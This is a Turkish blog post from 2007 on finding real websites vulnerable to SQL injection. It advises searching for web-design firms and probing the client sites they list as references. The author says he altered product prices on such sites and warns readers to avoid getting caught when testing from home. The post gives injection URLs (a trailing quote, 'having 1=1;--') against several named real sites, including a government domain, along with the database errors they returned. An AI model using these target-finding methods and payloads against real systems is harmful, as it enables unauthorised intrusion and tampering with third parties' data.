19 Temmuz 2007 Perşembe

Sql sızma( injection) için gerçek siteleri nereden bulacağım?

Sitelerdeki sql sızma açıklarını bulmak hiç de zor değil. Kendinizi sql, mssql, mysql ya da herhangi bir veritabanı konusunda geliştirmek için ihtiyacanız olan deneme tahtalarını bulmak hiç zor değil.
Google'dan arama yaparak rahatlıklar bulabilirsiniz.

Benim denediğim yöntemle, özellikle toplu açıkları bulanabilir.

Google'da "online alışveriş çözümleri", "eticare çözümleri", "kurumsal web sitesi" kelime gruplarını arattırırsanız. Web tasarımı yapan, ticari web sitesi paketleri, alışveriş sitesi paketleri sunan biçok siteyle karşılacaksınız. Bu sitelerin referans bölümlerinden yaptıkları sitelere ulaşabilir. Referans sitedeki bağlantıları deneyerek açklar bulanabilir.

Ben sql/sızma/injection konusunda fazla tecrübeli olmamama rağmen google'da arattırdeğım birçok sitede açık bulabildim. Bu açıklar o kadar kötü açıklardı ki sitedeki ürünlerin fiyatlarını bile değiştirebiliyordum.

Aklınızdan herkes artık önlemini alıyor diye geçirebilirsiniz. Fakat yanılıyorsunuz. Bu siteleri yapanlar da sonuçta insan. Bir sitenin en az 10 tane sayfası oluyor. Bunların alt sayfaları eklentileri derken, hepsindeki sorguları, ifadeleri denetimden geçirmek kolay değil. Genellikle üye giriş sayfalarındaki formlarda süzme işlevleri kullanırlar. Fakat www.xxx.com/haber/resim.asp?resimid?=145 gibi bir sayfada "resimid" değerini süzmek ile uğraşmazlar. Çünkü bu bir resimin bağlantısıdır. Zaten javascript ile bir pencerede gösteriliyordur ve adresi görünmüyordur. Böyle küçük hatalarla - hata demeyelim önlem almamak- büyük açıklar oluşabiliyor.

Bir işyerinin referanslarının birinde açık bulduysanız, bu demektir ki onlarca sitenin açığını bulmuşsunuz. Diğer referans sitelerin bir yerinde illaki bir açık vardır.

İnsan bu, "Beşer şaşar".

Ama dikkat edilmelidir ki bu referans siteler ticari kurumların siteleridir ve içindeki bilgilerin, sahibinden izinsiz olarak ele geçirilmesi suçtur. Hırsızlık kapsamına girer. Siteki bilgilerin değiştirilmesi, silinmesi - örneğin bir ürünün fiyatının değiştirilmesi- o firmanın adresine gidip, ürünlerini kırmaktan farksızdır.

Sql konusunda, denemelerinizi yaparken dikkatli olun. Evden vs. giriyorsanız yakalanma olasılığınız yüksektir. Dikkatli olun!

Google araması ile sql test sitesi

http://www.driverara.org/sorudetay.asp?id=4715%27 having 1=1;--

Microsoft OLE DB Provider for SQL Server error '80040e14'

Column 'soru.cat' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/sorudetay.asp, line 72

Google araması ile sql test sitesi

http://www.prc.gov/dockets.asp?ID=R2006-1'

Sunucu:Oracle
Hata:

Microsoft OLE DB Provider for ODBC Drivers error '80004005'

[Oracle][ODBC][Ora]ORA-01756: quoted string not properly terminated

/dockets.asp, line 41

http://www.trb.org/news/blurb_detail.asp?id=2326'

Microsoft OLE DB Provider for SQL Server error '80040e14'

Line 1: Incorrect syntax near ',','.

/news/blurb_detail.asp, line 24


Sql sızma denemeleri...
Sql injection

Google araması ile sql test sitesi

id=25013 having 1=1
http://www.aiim.org/standards.asp?id=25013%20having%201=1

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'vwwebarticles.ProductID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/GetArticle.asp, line 101